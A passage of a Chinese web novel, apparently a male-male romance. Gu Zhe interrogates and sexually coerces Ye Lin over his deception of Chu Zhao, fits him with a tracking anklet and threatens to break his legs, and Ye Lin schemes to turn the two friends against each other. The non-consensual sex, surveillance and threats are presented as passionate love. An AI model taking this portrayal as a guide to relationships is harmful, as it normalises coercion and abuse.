他舍不得钱请保镖,顾柘这个反派招聘的保镖应该挺厉害的,应该能拦住楚诏。 叶临的坐姿放松下来:“有保镖早说嘛,那你不用着急回来,认真跑业务吧。” 顾柘哑然,差点没被他气死。合着在叶临眼里,他就是个保镖。等他忙完回去,再教训叶临。 对话到此结束,是叶临主动挂断电话。 他等了十分钟,跑到门外去看,果然有两个穿着黑衣的保镖守在门口。 这两个保镖告诉他,小区大门最近戒严,不会轻易放人进来,让他安心。此外,他们也会帮忙视察公司。 叶临还可以使唤他们买东西,非必要不出门。 早知道有这种服务,他肯定乐意住在顾柘这里,怎么会跑去沈邵的公寓。 刚好最近的天气冷,不适合骑车兜风,可以宅在家里打游戏。 叶临过上了好日子就会忘本,早都不知道要去医院看沈邵,也不会去梵星视察工作,更是把楚诏的事情搁置。 顾柘回来的时候是深夜,一路风雪,气温很低。 他问过保镖叶临的行程,这三天都没出门,猜测应该是在打游戏。 开门后,果然没在沙发看见叶临的身影。 忽然想到很久以前,他去顾嘉致的公寓:推开门就看到穿着星星纹睡衣的叶临朝着他飞奔而来,是在沙发等了很久。 叶临愿意等顾嘉致的深夜航班,却不会等他。 顾柘心情沉重,像是吃到了青柠檬,酸涩难受。 他脱掉外套,换上常服,朝着电竞室走去。 推开门就看到叶临趴在桌上睡觉,嘴边流了口水,半张脸都被袖子压出纹路,红红的。 电脑屏幕上还有游戏死亡画面,手指都放在键盘旁边,应该是打太久睡着了。 顾柘熟练地把他抱起来,用湿纸巾擦拭嘴唇,再带去浴室洗澡。 叶临睡得死沉,全程没醒。 肯定是通宵打游戏,不分昼夜。 这样伤身体,还有几率猝死。 顾柘叹息一声,把他抱回卧室用浴巾擦拭干净。打算限制电脑的游戏时间,再买些运动器材回来,鼓励叶临多运动,少打游戏,健康生活。 叶临翻身靠近,弯着身体像是要找个地方躲进去。 顾柘想起来,他总是抱着叶临睡觉,估计是习惯了,睡着了都会自动找地方。 原来,叶临已经养成了依赖他的好习惯。 这确实是件令人高兴的喜事。 顾柘快速洗漱,在旁边躺下来,将叶临搂入怀里抱着,只留一盏橘黄色的小夜灯。 白天打游戏多了,梦里就会出现在游戏里。 叶临梦见自己变成了战士,正在修真大陆里打怪,忽然碰到一个强大的剑修。 这个剑修看到他,立即释放剑阵,朝着他刺去。 他连忙祭出保护罩,大喊一声:“道友饶命!” 结果剑修受刺激,直接无视防御,一剑穿心。 他感觉到剧烈的疼痛,跪倒在地上,血不断地涌出来,周围的景象变成了车水马龙的路口。 眼前的剑修变成了穿连帽衫的楚诏,手里拿着带血的刀,冷冷道:“叶临,你骗了这么多人,理应去死!” 死亡的感觉太强烈,以至于醒来的时候浑身都出了冷汗。 叶临大叫一声,睁开眼看见熟悉的天花板,慌乱地摆手。 旁边的顾柘出声问:“你做噩梦了?” 叶临看到顾柘,立即出手去掐他的手臂:“你觉得疼吗?” 顾柘像是在看智障,轻轻地弹他的脑门:“是现实。” 叶临这才安心:“那就好,你什么时候回来的,我怎么不知道。” “昨天晚上。” “那你在门口没看到什么人吧?” “没有,你到底惹了什么事?” 叶临也知道自己欺骗楚诏的手段不太干净,不想直说,干脆踹了踹顾柘:“我要吃早餐,快去准备。” 顾柘抓住他的脚踝,凑近问:“这么多天,饥饿值已经*累积了很高吧?” 其实三天前楚诏才帮忙消除,根本没多少。现在说出来,总感觉顾柘会发疯,还是装吧。 叶临想抽回脚却被强行按住,故作平静地讲道理:“大白天这样不好,你快去工作吧。” 顾柘知道叶临在隐瞒自己,没关系,他现在就有办法盘问出来。 叶临在这种时候,最为脆弱,也最好说话,什么都能问出来。 顾柘将叶临禁锢在怀里,凑到耳边去亲。手像是灵活的蛇,到处爬行。 叶临的耳尖发烫,很想推开他。 可男人刚醒就是容易招架不住,哪里有多余的力气。 顾柘轻声嘲笑:“哦,这不是有反应了,还在装?” 叶临红着脸骂:“顾柘,你个神经病!” 第57章 第57章“别,别玩了……” 顾柘熟知他的弱点,没过几分钟,就化解掉所有的力气,让其瘫软下来,再也没办法反抗。 叶临的目光往下。 还好三天过后,没有楚诏留下来的痕迹,不然肯定会被顾柘质问。 虽然不知道顾柘为什么要跟他谈恋爱,但肯定跟梁文乐一样,知道他去找别的男人就会发疯生气,所以要伪装。 比起楚诏的混乱青涩,顾柘已经有了章法,知道什么时候该做些什么,该用什么力度。 还时不时通过吻来增加气氛的暧昧程度,让彼此升温。 不需要刻意指导,顾柘总能跟上叶临的想法,给予最准确的回应。 就像是冰淇淋放在阳光底下晒着,就快要化掉了,变成一滩滑腻的奶油,散发着浓郁的香味。 偏偏拿着冰淇淋的人也不是干脆地吃掉,而是慢慢地品尝,炙热的舌头加速融化。 太痒了,实在是受不了 叶临抓住顾柘的手臂,主动要求:“别,别玩了” 这是他们之间的暗号。 平常只要听到这个话,顾柘就会明白叶临在催促,所有的准备已经齐全,可以做正事了。 然而顾柘就是要装作听不懂,故意凑到他的耳边询问:“别玩什么?” 叶临的耳尖发热,那个词汇难以启齿,只好咬牙骂:“顾柘,别逼我扇你!” 顾柘笑起来,看到他着急就高兴,还要故意刺。激。 “操!”叶临骂了一声,趁着他沉迷于底下的事情,抬手就扇了他一巴掌。 “啪——” 清亮的响声,火焰灼烧般的痛感,一下就把顾柘的心思拉回现实世界。 顾柘迅速回击,完全没给他适应的机会。 叶临轻声叫起来,下意识地抓住他的手臂,狠狠地扣,巴不得抠下肉来。 可是这种情况下,他哪有狠力气去扣,只能松松垮垮地靠在顾柘的怀里。 顾柘的半边脸颊还在疼,但是他没有感到愤怒,相反还觉欺负这样的叶临很有意思。 假如叶临像是一具尸体,任他动作,那就太没趣了。 就是要踹,要打,狠狠地报复他,激烈的交锋,才能感觉到叶临最难能可贵的鲜活气息。 叶临是吵闹的,是无情的,是暴躁的,是娇气的,是自信的。 最重要的是,此时此刻只属于他顾柘一个人。 只要想到这个事实,多日来为梵星奔波跑业务的疲倦都会消失,唯独剩下巨大的满足感。 顾柘埋首在叶临的颈窝,沉醉地享受这股独特的气息。 攻势像是狂风暴雨,要将地面的草木全部都撕扯碎裂,大地都出现了裂纹,洪水翻涌,不断地冲击崖壁。 叶临能够感觉到背后的高温,他没想到今天的顾柘是这样凶狠,下意识地张嘴要求:“慢,缓一下” 顾柘在后颈留下痕迹,轻轻叹息:“那你说说,你到底惹了什么事?” 叶临大骂他有病,嘴硬不肯说,结果差点在恶劣的天气下昏过去。 “是跟楚诏有关吧,突然要我去关楚诏。 我记得他最开始不想签梵星,现在却跑来梵星的研发部。这其中,是你动了手脚,你跟他之间有什么纠葛?” 顾柘的心思缜密,通过叶临的只言片语就能大概推出事情的脉络。 接下来只需要再逼迫叶临说些话,就能猜出事情的全貌。 “我骗他签了有坑的合同,如果他辞职,或是不认真工作就得支付天价违约金。 他痛恨我,就埋伏在沈邵公寓的附近,差点拿刀捅死我。” 叶临故作可怜地编造了一段往事,希望骗过顾柘这个混蛋,好好地帮他跟楚诏沟通。 “差点捅死你,为什么不报警呢,你不是最惜命了?” 顾柘慢下来,轻轻地摸他的脸,神情温柔,心已经如坠冰窖。 “我,我看得出来他是搞计算机的人才,就想留在研发部。 你不是一直抱怨梵星没有人才,现在我想办法帮你招过来了,你就得会用。” 叶临感觉到他的目光流露出怀疑之感,不由得心虚起来,说话都有点吞吐。 “楚诏不是蠢货,签合同之前应该会找律师看清楚。你是怎么让他放松警惕,签了合同?” 顾柘知道他不会老实说出来,于是制住他的双手,拿出手机划到人事部的联系方式。 叶临怕了,非常想逃跑,却被按住,忍不住骂他:“顾柘,你有病啊!” 电话接通的瞬间,他也不敢说话,只能咬着牙忍耐。 偏偏顾柘非要有所动作。 慢慢转,轻轻地磨,时而停止,时而继续,像是羽毛在挠痒痒,又像是敲击木桩。 “帮我查一下,楚诏入职合同上哪一天的?还有关于楚诏,叶临都跟你说了些什么,全部转述给我。” “好的。” 人事惧怕顾柘的威严,立即翻出合同,查询他要的信息。 叶临浑身都在发抖,脸颊红得厉害,咬牙忍住声音,对方却更加恶劣。 “查到了,是这个月15号。叶总提前一天叮嘱我拟订一个有天价违约金的合同,告诉我第二天一定要让楚诏签上。” “提前一天叮嘱你,看来他早就知道楚诏会在15来公司。当天发生了什么,每个细节都要想起来。” 顾柘说到后半段,语气已经彻底冷下去,盯着叶临的眼睛看。 叶临跟他对视,就像是在草丛里看到了眼镜蛇,心沉到谷底,预感马上要东窗事发。 “当天楚诏来到公司,就一直想要找网名叫甜甜圈的男生,我就劝他先签合同。 刚开始,楚诏不肯签合同,我就打电话给叶总。结果没几分钟,叶总就出现在窗外,然后楚诏想都没想就签约了。” 叶临后悔给人事送车,居然随随便便就把他出卖了,真是没骨气! 顾柘的神情冷静,继续盘问细节,他从来没有今天这样生气,像是在沉睡的火山忽然醒过来,正在酝酿一次世纪大喷发。 “叶临当天穿着什么衣服?甜甜圈又是谁?” “叶总当天出人意料地化了浓妆,看起来像是跳舞的明星,要不是我们熟悉他,都差点认不出。 他穿着白色的羽绒服,其他的记不太清了。至于甜甜圈,估计要去问研发部的人了。” 叶临像是坐过山车,每分每秒都受到惊吓,时快时慢,时高时低,再也受不了,干脆凑过去吻顾柘。 希望借此堵住声音,还能阻止这张破嘴继续审问人事。 顾柘没料到他会主动亲上来,眼睛微微瞪大,差点握不住手机,紧蹙眉眼随之舒展。 “顾总,那我去找研发部的同事来给你汇报吧,他应该知道甜甜圈的事情。” 没有回应,电话随之挂断。 顾柘将叶临拥入怀里,热情地回应,长达十几分钟,难舍难分。 分开的时候,叶临的呼吸灼热,还不顺畅,睁着湿漉漉的眼看他。 顾柘掐住他的下巴质问:“那天你打扮成那个样子,是给楚诏看,甜甜圈也是你吧?” 叶临下巴红了,试着扭头挣扎,却被强行掰回来,气得破口大骂:“对对对,都是我!你个崽种就知道问问问,什么正事都不干!” 顾柘冷笑起来,将他背过身去,强行跪下。 “艹你大爷的!” 叶临的脸抵住被子,看不清身后状况,羞红了脸,大骂起来。 “说说,你是怎么骗楚诏的。当然你不肯说,我还可以打电话给研发部的人,肯定能猜出来你做了什么。” 事到如今,已经被顾柘猜出了七八成,那就没什么好隐瞒的了。 不就是骗人嘛,有什么怕的! “我装成小男生跟他网恋,才把他骗到梵星签约,这都是为了梵星的发展,你应该敬畏我,夸我聪明!” “你的花招倒是多。” 顾柘完全不容许他抗拒,抬手就能摸到他的脸,亲了亲耳垂继续问。 “所以,楚诏上门是怎么报复你的,才把你吓得跑来这里?” “你,你先放开我!” “说清楚。” 叶临感觉自己像是一头牲畜,被坚固的铁链禁锢住,而且还要遭遇可怕的,几乎快哭出来了。 顾柘的态度强势,其实已经隐隐猜到了事实,强烈的怒火驱使他做出疯狂的举动,丝毫不怜惜叶临。 “他是这样吗?” “还是这样?” “又或者是这样?” 这一声声话语,像是被鞭子毒打,哪里都是疼的,还灼烧起来,快要死去。 叶临终于忍不住哭出声来,理直气壮地骂起来:“艹,不就是跟楚诏那啥了,你至于发疯嘛!” 顾柘抓住头发,将他强行拎起来,低声提醒:“我记得,我说过我们在谈恋爱。” 叶临大叫着疼疼疼,哭得眼眶泛红,还是不肯服输:“是你自己单方面宣布我们谈恋爱,我可不承认,当然没有义务只跟你一个人!” 这个家伙,什么事都干不成,气人的能力可是顶级的。 还娇气,抓一下就会喊疼。 顾柘把他放回去,居于高处,再也不会俯身去怜惜,只管自己,再也不管他的死活。 “呜呜呜呜,不,不要” 叶临整张脸都埋进被子里,感觉自己快要窒息,哭得非常厉害。 顾柘被怒火形成的屏障隔绝,再也听不到他的哭声,更不会理会他的求饶。 此刻就像是变成了器具,毫无人格尊严。 说难听点的话,就是个杯子,死物一样。 叶临恨死顾柘,只好提他的痛楚:“顾嘉致才不会这样对我,他听到我哭就会温柔,抱着我哄着我,哪里像你这个混蛋。” 顾柘故意折磨他:“那你去找他啊,你看看他还记得你吗,只会骂你是个拜金的蠢货。” 叶临绷不住,声嘶力竭地诅咒:“顾柘,我恨死你,如果有机会,我一定要杀了你!” “叶临,你以为我不恨你吗?明知道我是什么性格,偏要来勾引我。答应跟我谈恋爱,跑去跟楚诏玩什么网恋,我不在这段时间,你不会也去找沈邵了吧!” “对,我就是去找了!你能拿我怎么样!明明是你自己心思污秽,还说我勾引你!我对你说过一句真心的好话,做过一件真心的好事吗,就只知道在在那里说我!” 像扫射的机关枪,每一下都精准地击中了弱点,全身有了无数的窟窿,血流不止,几欲死去。 对啊,叶临从来没有对他说过一句真心的好话,也没有真心地为他做过一件好事。 每次见面,叶临都是嘲讽他,整蛊他,丝毫不给过好脸色,甚至懒得演。 顾嘉致肯定是得到了最多的真心和偏爱。 梁文乐和楚诏也得到了叶临编织的虚假童话爱情,就连沈邵生病都能得到叶临的关心爱护。 就他什么都没有 为什么就他没有 是他不会像顾嘉致和沈邵那样伪装,还是他没有梁文乐有钱? 顾柘将叶临拽起来抱着,抬手擦去泪水,自顾自地说起来:“是楚诏逼迫你吧,我马上让他辞职。” 叶临哭得上气不接下气,还是要坚定地留下楚诏:“他只是报复我,留着他有用,你不是商人嘛,利益最大,你应该知道他对研发部意味着什么。” 顾柘学着顾嘉致的语气,亲了亲脸颊,轻声哄起来:“那你保证,以后不去找楚诏,我就留着他。” 叶临哭着骂起来:“谁,谁想去找他,我远离都来不及。” 听得出来,叶临对楚诏不满意,那就没必要担心。 顾柘愿意慢下来,迎合叶临的需求,又趁势提出自己的建议:“你以前怎么样,我不管。 但从今往后,要好好地跟我谈恋爱,别去找沈邵,也别去找顾嘉致,以及其他的野男人。” 叶临被他欺负了那么久,当然要报复,抬手就扇了他两巴掌:“狗日的,我才不要跟你这种畜牲谈恋爱!” 顾柘笑起来:“那你要去跟谁谈恋爱?” 叶临又扇了好几巴掌:“有病啊,人非得谈恋爱吗,我就要钱,其他不要!” 顾柘半张脸都扇肿起来,但是没有阻止叶临的举动,只是承诺:“我可以把所有的资产都给你。” 叶临听到他的钱,还是停下扇人的动作。 顾柘拿起他的手来亲:“叶临,你只要保证跟我好好谈恋爱,什么我都会给你。哪怕是天上的星星,都能给你摘下来。” 叶临看见他眼底的深情,有瞬间晃了神,可是想到他刚刚的所作所为,还是愤恨地骂:“顾柘,我刚刚说最恨你是实话。 哪怕你把我杀了,我都不会跟你这种烂人谈恋爱!” “哦,恨我,不跟我这种烂人谈恋爱?” 顾柘眼疾手快,将他的双手绑住。 叶临感觉到自己像个折叠椅子。 完全被折叠起来,要断了,还有强烈的痛感。 借助重力,可以产生前所未有的感觉。 【当前金钱增速为每小时23万。】 好像五脏六腑都在疼,胃也在痉挛。 快,快要死了。 “呜呜呜呜呜!” 叶临崩溃地大哭,泣不成声。 “你要知道,恨和爱本就一体。你现在恨我,但迟早就爱上我。骂我是烂人,那你自己也不是好货。” “呜呜呜呜,去死,你去死!” 叶临在绝对的压制下,只能骂,无法反抗。 顾柘就要折磨他,还凑到他耳边低语:“跟我在一起,不管以什么方式。” 随之时间流逝,叶临坚持不住,终于昏倒。 哪怕是昏过去,顾柘还是会出现在梦里,像个恶鬼不断地追逐,直到天涯海角都不放过他。 漆黑压抑的梦境里,没有一丝亮色,铺天盖地的黑色潮水将他淹没,窒息到濒死的边缘。 醒过来的时候,整个人都得到解脱。 叶临大口地喘。气,发现已经到了晚上。 房间里开了一盏橘色的台灯,而他肚子空空,四肢酸疼,无法抬起。 甚至于,还残留着刚刚的感觉。 顾柘就坐在旁边,拿起纸巾擦拭他脸上的汗水,柔声道:“想吃什么?” 叶临冲他的脸吐口水,厉声道:“滚!” 顾柘淡定地擦掉口水:“不吃的话,继续饿着。” 叶临恨他,酝酿了报复计划,出声点菜。 没多久,滋补养生的饭菜就端进来,由顾柘亲手喂给他。 是滚烫的粥和一些配菜,需要吹凉才能吃。 叶临盯着顾柘的脸,猛然抬手碰掉装完的粥。 滚烫的热粥全部洒在顾柘的脸上,脖子,以及手臂,肉眼可见地变红,应该是烫伤了。 “哈哈哈哈哈,活该,怎么没把你烫死!” “看来,你确实不饿,那继续睡觉吧。” 顾柘把粥放回去,慢条斯理地处理烫伤,没在意叶临的报复行为。 他还怕粥脏了床,会让叶临不舒服,亲手换上新的,又帮叶临涂药。 叶临注意到脚踝处有个细小的银铁环,还闪着红光。 顾柘贴心地解释:“这是追踪器,没有钥匙解不开。当然如果你非要解开,那就只能砸断腿。” 他脸上毫无表情,眼底像是寂静的沼泽,看不懂情绪波动,令人生寒。 叶临又想起顾柘这个大反派在原著里怎么对付敌人,熟悉的恐惧感再次升起。 其他人不一定会杀人,但这个顾柘是有可能的,心肠真狠毒。 顾柘在他眉心落下一个吻,抬手盖住眼睛:“睡吧。” 叶临睁着眼没睡:“顾柘,你这样有意思吗,我又不喜欢你?” 顾柘笑起来:“但你也没有喜欢的人,不是吗?” 叶临不想看见这个混蛋,闭上眼尝试入睡。 顾柘轻轻地擦过脚踝,凑到他耳边,语气温柔:“如果下次被我发现你去找别的男人,我就打断你的腿,让你再也不能走路,只能留在这里。” 叶临猛然睁开眼,汗流浃背,心脏快速跳动。 别人说这句话,应该是吓唬他,比如楚诏说要用刀杀他。顾柘说这句话,肯定是认真的。 要不然就骗骗顾柘,反正他又不是没骗过人。假装谈恋爱,他也是很会的。 等到顾柘放松警惕,他再想办法跑。 总不能把顾柘逼急了,害死自己吧。 叶临冷静了两分钟,尝试跟他说好话:“谈恋爱可以,不去找别的男人也可以,但是我有条件。” 顾柘感觉到他身体在发抖,脸上的笑意更深:“什么条件?” 叶临:“你得对我百依百顺,我说什么你都得完成,当一个听话的好男友。以后梵星的投资钱由你来出,但是记我的份。” 顾柘轻声应和,亲亲他的耳垂,低声要挟:“你要遵守我们的约定。” 叶临不想继续这个话题:“我现在要吃饭,抱我起来。” 顾柘果然遵守原则,做一个听话的好男友,亲手喂他吃饭。 休养了五天,身体才算恢复过来。 总算可以出去散步,但不能靠近沈邵所在的医院,不能进入梵星,更不能跑去酒吧和会所。 飙车有时间限制,打游戏也有时间限制。 每天都有十万的零花钱,想买东西可以发给顾柘,让他来买单。 不需要负担梵星的资金后,存款只多不少,已经有了一亿五千万,还在持续增长。 叶临看着余额,已经想好了,等沈邵病好后就踹掉顾柘,两个人经营梵星。 男人都不是长情的,顾柘应该也是。 更何况顾柘还是顾父顾母的好大儿,注定要结婚生子,估计没多久就会腻了他,到时候就可以顺势离开。 这样想想,现在配合着顾柘,骗他的钱,还利用他发展梵星,是件利大于弊的事情。 更何况顾柘不粘人,忙于工作,大部分时间都可以得到自由。 叶临勉强接受了这个安排,就等着时机,像当初踹掉梁文乐一样踹掉顾柘,尽享好处。 但他想的太美好了,比如今天一整天顾柘都呆在家里不出去,真是烦人。 顾柘在学习做饭,搬着食材忙进忙出,注点到叶临在走神,出声问。 “在想什么?” “你怎么不去上班!” “今天请假,我要陪你。” 这说的像是情话一样,恶心死了! 叶临翻了白眼,站起来要往外走,打算骑车去兜风。 结果门铃响了。 穿着灰色围裙的顾柘朝着门口走去,戏谑道:“啊,客人来了。” 叶临问:“什么人?” 下一秒,门就被打开,楚诏拎着水果站在门口。 顾柘接过他的水果,笑着道:“直接进来吧,不用换鞋。” 楚诏注意到他身后穿着家居服的叶临,顿时说不出话。 顾柘指着叶临跟他介绍:“这是我爱人,很可爱吧。” 楚诏进入梵星后,一直看不到叶临就着急。 他知道叶临和沈邵的感情,还经常跑去医院蹲守,结果都遇不到人。 后来,顾柘找他吃饭,跟他介绍了梵星的未来,顿时有了兴趣。 毕竟顾柘是他敬佩的人,还送了钢笔,现在也愿意跟好朋友努力构建互联网未来。 可是,他怎么都不想到,叶临居然是顾柘的恋人。 叶临也没想到顾柘会把楚诏请进家里,快步走到他旁边,用力拧后背肉,低声问:“你什么意思” 顾柘笑而不语,忙着招待楚诏。 他就是希望这两个人看清楚彼此的定位,往后不要有往来。 相信楚诏是个正常人,要脸,不会再敢找叶临。 第58章 第58章“楚诏,我以为你知廉耻!”…… 楚诏心中有诸多遗憾,但他今天毕竟是上门做客,总不好流露出过多的情绪,故作平静地跟顾柘搭话,在沙发坐下来。 他注意到顾柘身上穿着围裙就要进入厨房,不由得问:“在家里,都是你做饭吗?” 顾柘看向叶临,无奈地笑起来:“没办法,他太娇气了,什么都需要我亲手做,不仅是做饭,洗澡也得麻烦我。” 叶临听他越说越不对劲,气得踹他的脚跟:“闭嘴!” 顾柘不在意那点疼痛,摊手道:“看吧,脾气还暴躁。好好好,你乖乖地等着,我去给做你喜欢吃的东西。” 叶临不客气地反驳:“你的厨艺差劲,根本做不好。” 楚诏惦记顾柘是自己的朋友,还是出声帮腔:“顾柘给你做饭,是情谊,味道倒是次要的。” 这话说的,好像他多体谅顾柘一样,分明前不久还在沈邵的公寓强迫人。 叶临恨得牙痒痒,气得往卧室走,大力摔门,怒吼:“你跟你的好朋友吃吧,我没胃口!” 顾柘看到他被楚诏惹气,心满意足,又向好友道歉,才进入厨房做饭。 楚诏的话只说对了半句,顾柘做饭味道确实是次要的,首要还是宣誓男友主权。 客厅里只剩下一个人,厨房里传来烹饪食物的声音,电视屏幕上面的正在播放搞笑电影。 一切都很尴尬。 楚诏很后悔来顾柘家里做客,恨不得马上离开。 他的目光落在尽头的卧室门,很想冲进去质问叶临,可是碍于朋友妻不可欺的道德原则,无法迈出这一步。 之前他不知道叶临是顾柘的男朋友,当然可以肆意地报复。可是现在顾柘是他的朋友,怎么能报复呢? 楚诏长叹一口气,低头看手机,试图转移注意力。 结果看到叶临的好友申请,是用本人的账号,申请理由也是直白的,“我是叶临”。 或许是之前被骗后有了阴影,现在看到叶临的好友申请,就不想同意。 卧室里传来咒骂声,是叶临在骂楚诏。 他真想不明白,楚诏凭什么迟迟不同意好友申请。 先不说,楚诏迷恋他的甜甜圈身份,夸他长得好看,还情绪上头跟他做了那种事情,明显就对他还有留恋。 再说了,他现在是楚诏的上司,作为员工理应加老板的好友吧。 难道就因为顾柘的原因,想跟他掰扯干净? 想得美! 叶临可不想轻易放过楚诏,他这段时间被顾柘控制,心里不舒服,就想让顾柘不痛快。 只要想到可以挑拨他们的好朋友关系,就会觉得爽快。 既然网上加不同意,那就去客厅逼迫楚诏。 叶临推开卧室门,朝着客厅走去。 结果听到了顾柘和楚诏的对话声音,就近躲到厕所,侧身偷听。 “你跟叶临谈恋爱,是认真的吗?”楚诏的语气听着不太相信,而且还为顾柘感到不平。 “认真的,我这辈子非他不可。”顾柘的语气坚决。 “但是你知道他之前的事情吗,他欺骗了梁文乐的感情,还跟沈邵暧昧不清。甚至,在梁文乐的订婚宴跟沈邵偷。情,道德败坏。” 楚诏想到跟顾柘的友谊,还是不希望自己敬佩的人被叶临欺骗。 “我知道的,他就是个小骗子。”顾柘说到这里,眼神宠溺俨然已经把叶临当成毫无攻击力,只会挠人的小猫咪:“但我不在意,我有信心引导他,做一个合格的恋人。” “不是的!”楚诏快要憋不住,猛地用力按桌,音量都随之升高:“叶临的手段卑劣,满口谎言,虚情假意,喜欢编织美好的爱情幻境。 等到你沦陷的时候再毫无不留情地抽身离开。你还是别跟他谈了,肯定会后悔的!” “哦?”顾柘目光一凛,盯着他的眼睛看:“你说得这么激动,好像你被他骗过一样?” 楚诏哑然,他当然知道自己跟叶临的事情不适合在朋友面前说出来,只能就此住嘴。 叶临在厕所里听着,恨不得冲出去给楚诏扇几巴掌。 顾柘都知道说好话,这个混蛋居然在背后诋毁他。 他手段卑劣吗,那都是梁文乐活该好吧! 再说了,沈邵跟他有利益关系,彼此亲近很正常,哪里算是不正当的关系。 就知道道听途说,乱攻击人。 叶临面对诋毁,总是能够找到角度反驳。 外面的谈话声消失,紧接着就响起脚步声,慢慢地靠近,朝着厕所而来。 叶临有了不好的预感,刚想把门反锁,门把手就被按住。 抬头看去,居然是顾柘,顿时松了一口气。 顾柘饶有兴致地看着他,倾身靠过去,贴着耳垂,笑着调侃:“在偷听?” 叶临的耳尖发热,心跳随之加速,抬手去推他,低声骂:“没有,是你脑子有问题,就知道多想。” 顾柘偏不推开,要把他禁锢在双臂之间,俯身去吻。 还故意做出大的动作,发出响声。 叶临很想躲开,可总是被他追上,难以逃脱。 就像是两条在大海里游泳的鱼儿,小鱼地往前游,想躲进珊瑚里,但总是被大鱼堵住去路,被迫相贴。 没一会儿就热了,脸颊泛红,呼吸灼热,整个人靠着墙壁才能勉强站住。 技巧性太强了,像是在故意的,让他露出这般情。态。 叶临刚要滑落地面,就被大手扶住腰的位置,没有因此掉下去。 动静太大了,初听的时候还以为是厕所里水龙头没有关上,细听就知道是什么。 楚诏坐在沙发上察觉到这个声音,顺着往前看去,结果就看到顾柘的半边身体露在厕所外面。 另外一半看不清,手臂用力把住门框,脉络清晰可见。还有那个声音,就可以判断出来他正在吻叶临。 非常激烈的吻,掌控欲很强,丝毫没给叶临的反抗的机会,就这样把人按住。 已经能够想象出那个画面:叶临的脸颊应该是红的,眼神愤恨,却有水光在闪烁。 嘴唇的颜色变深,莹润柔软,像是果冻一样美味好吃。 楚诏感觉自己的耳垂在发热,梦回那天晚上跟叶临缠绵的情景,有种陌生的情绪涌上心头。 此时此刻,叶临不在他身边,而是被另外的男人按进怀里亲,浑身都瘫软了,只能发出可怜的细碎声音。 这是为什么呢? 因为叶临不是他的男朋友,而是顾柘的男朋友。 这里也是他们家,所以他们可以肆无忌惮地亲密,完全不需要顾及他人的目光。 正常人面对情侣亲密,只会在心里暗骂,并且感到尴尬,想立刻逃离现场。 但楚诏却生出了怨恨的情绪,怨恨叶临跟顾柘的关系,怨恨自己只能坐在客厅静静地听完全程。 倘若他不是顾柘的好朋友,难道就可以冲上去将叶临抢到怀里吗? 这样是不道德的,会被他人唾弃。 他第一次听到沈邵和叶临的事情,就很讨厌这对狗男男。 明知叶临跟梁文乐的关系,还要在私下约会亲密,属实无耻。 叶临不要脸,就会骗人,手段拙劣,沈邵心甘情愿地当小三,更是恶劣。 他不能做自己最讨厌的人。 楚诏下意识地抓紧沙发扶手,真皮皱了,力气太大,像是下一秒就会被抓烂。 大概五分钟后,顾柘终于走出厕所,手里还抓着叶临。 叶临气愤地踩他的脚,强行推开,用力搓嘴唇,朝着卧室跑去。 楚诏可以清晰地看到,叶临的嘴唇是玫瑰一样的红色。上面破皮了,沾染了血迹,脸颊有晚霞般的红晕,看起来楚楚可怜。 顾柘只是宠溺地轻笑,无奈地耸肩,还劝他快点来吃饭,完全就是贴心男友的形象。 他们就像是一对真情侣,会互怼打架,但还是很恩爱。 楚诏忍不住拿起茶几上的水杯喝了一口水,希望用冰水压一压心里的酸意,避免自己做出不正常的举动。 顾柘朝着他走过来,一脸餮足,像是刚刚吃饱,还抬手跟他打招呼:“刚刚有事耽误了一会儿,菜很快就做好了。” 楚诏对上他的眼神,隐约觉得对方在跟自己挑衅,但是又不敢深想,只好故作平静地应答:“那好,我还没尝过你的手艺。” 顾柘笑起来,聊了两句,满意地走进厨房。 他果然没看错人,楚诏有礼义廉耻,懂得人情世故,至此应该会远离叶临。 站在楚诏的角度上考虑,他被叶临坑害,应该心存恨意。现在又看到好朋友跟叶临甜蜜,那就会彻底退出,远离叶临这个祸端。 顾柘做饭的时候,低头看见虎口的牙印,想到刚刚被叶临咬伤,忍不住抬起来舔了一下。小猫脾气坏,但是很可爱,让人忍不住想亲。 回到卧室后,恨不得把牙全刷一遍。 叶临对着镜子骂骂咧咧,诅咒顾柘阳。痿,时不时就踢墙面,当作是顾柘出气。 话说顾柘脑残,楚诏就聪明了吗? 这个蠢货,不仅听信谣言,在背后诋毁他。 明明就坐在客厅,听到声音还不赶快过来看看他,真是没脑子! 更何况,楚诏还没有*同意他的好友申请。 本来叶临先骗了楚诏签合同,心存愧疚。 可是后面楚诏上门报复他,还跟顾柘处成好朋友,那就是可恨的敌人了。 该死的楚诏和顾柘,他一定要让这对好朋友决裂,付出惨重的代价! 叶临暗暗发誓,打开衣柜,换上一套款式可爱的睡衣,是天蓝色打底,上面有粉色海星图案。 裤子很短,没超过膝盖,堪堪遮住。 他知道楚诏喜欢什么类型,打算待会儿装一装。 果然,他刚走到客厅,就注意到楚诏的目光,故意在他旁边坐下来,紧挨着。 楚诏浑身僵住,下意识地想挪开,却听到他开口说话。 叶临故作天真地看着他,语气都放软:“听说你跟顾柘关系很好,你们以前怎么认识的啊?” 楚诏难以置信地看着他,心说,“你不是早知道”,翻了个白眼,懒得多说。 叶临故意偏头去靠着他的肩膀,抱怨道:“你怎么不通过我的好友申请,好伤人心。” 楚诏受不了,站起来朝着厨房走去,借口要帮朋友的忙。 叶临看着他的背影,气得把茶几上的杯子朝着厨房扔去。 “啪——” 清脆的响声过后,杯子刚好在厨房门口碎裂成无数片,里面的水也撒出来。 楚诏吓了一跳,回头去看,刚好对上叶临阴毒的眼神,忍不住对旁边的顾柘说道:“你这个男朋友脾气很差,没问题吗?” 顾柘只是轻声笑了一下,继续把菜盛出来:“没事,待会扫干净就好了。他这个人就是这样,偶尔爱发点小脾气,像是小猫一样,很可爱的。” 楚诏接触到的叶临,是伪装好的单纯无辜,天真善良。哪里想到本人居然是个脾气暴躁,心思诡谲的坏东西。 听到顾柘的话,就明白有多爱叶临了,可以容忍所有的缺点,还能添加厚重的滤镜。 顾柘把手放在他的肩膀上,重力按下去,沉声道:“我希望,我不是梁文乐,也希望你不是沈邵。” 楚诏猛然惊醒,感觉到他身上强大的气场,就像是野兽在守护自己的领地,连忙解释:“我对朋友的爱人没兴趣,你应该知道我的为人。” 顾柘将手抬起来,脸上恢复笑意:“那就好,我非常欣赏你的能力,相信我们可以合作愉快。” 楚诏总感觉顾柘知道了自己和叶临网恋的事情,正想出声问。 顾柘却先一步端着盘子走出去,把菜摆好,抬眼看了叶临,像是哄小孩:“怎么生气了,还乱摔东西。” 叶临看到他做的饭菜就没胃口,挑刺道:“学这么久还炒成这样,真是废物!” 顾柘长叹一口气:“好吧,那我再努努力。” 